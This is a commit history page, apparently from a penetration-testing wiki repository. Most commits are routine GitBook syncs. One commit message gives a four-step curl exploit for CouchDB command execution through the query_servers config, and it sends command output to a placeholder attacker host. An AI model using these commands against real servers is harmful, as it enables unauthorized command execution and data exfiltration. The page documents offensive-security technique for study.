Commit graph

10 commits

Author SHA1 Message Date
CPol
487861e0f3
GitBook: [master] 473 pages modified 2021-05-25 23:11:03 +00:00
CPol
fd5d0989f3
GitBook: [master] 7 pages and 8 assets modified 2021-05-25 23:07:25 +00:00
Jeffrey Bencteux
e505cc2b55
Command execution via query_servers fix
Hey man, I got a working example, I think the issue is that you are requesting your view with POST rather than PUT method. Following works for me:

curl -X PUT 'http://<target_ip>:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"id | curl http://<attacker_ip>:<port> -d @-"'
curl -X PUT 'http://<target_ip>:5984/testbed'
curl -X PUT 'http://<target_ip>:5984/testbed/whatever' -d '{"_id":"770855a97726d5666d70a22173005c77"}'
curl -X PUT http://<target_ip>:5984/testbed/_design/whatever -d '{"_id":"_design/test","views":{"anything":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
2021-05-24 10:43:15 +02:00
CPol
a4fcc0e241
GitBook: [master] one page modified 2020-10-05 10:14:02 +00:00
CPol
e8e92dc69f
GitBook: [master] 350 pages modified 2020-07-20 15:31:30 +00:00
CPol
fec670d1b2
GitBook: [master] 2 pages modified 2020-07-16 19:40:43 +00:00
CPol
56bbc46026
GitBook: [master] one page modified 2020-07-16 19:27:28 +00:00
CPol
e63956fa4b
GitBook: [master] 2 pages modified 2020-07-16 18:41:33 +00:00
CPol
3c305687ca
GitBook: [master] one page modified 2020-07-16 17:00:59 +00:00
CPol
4643bab58b
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00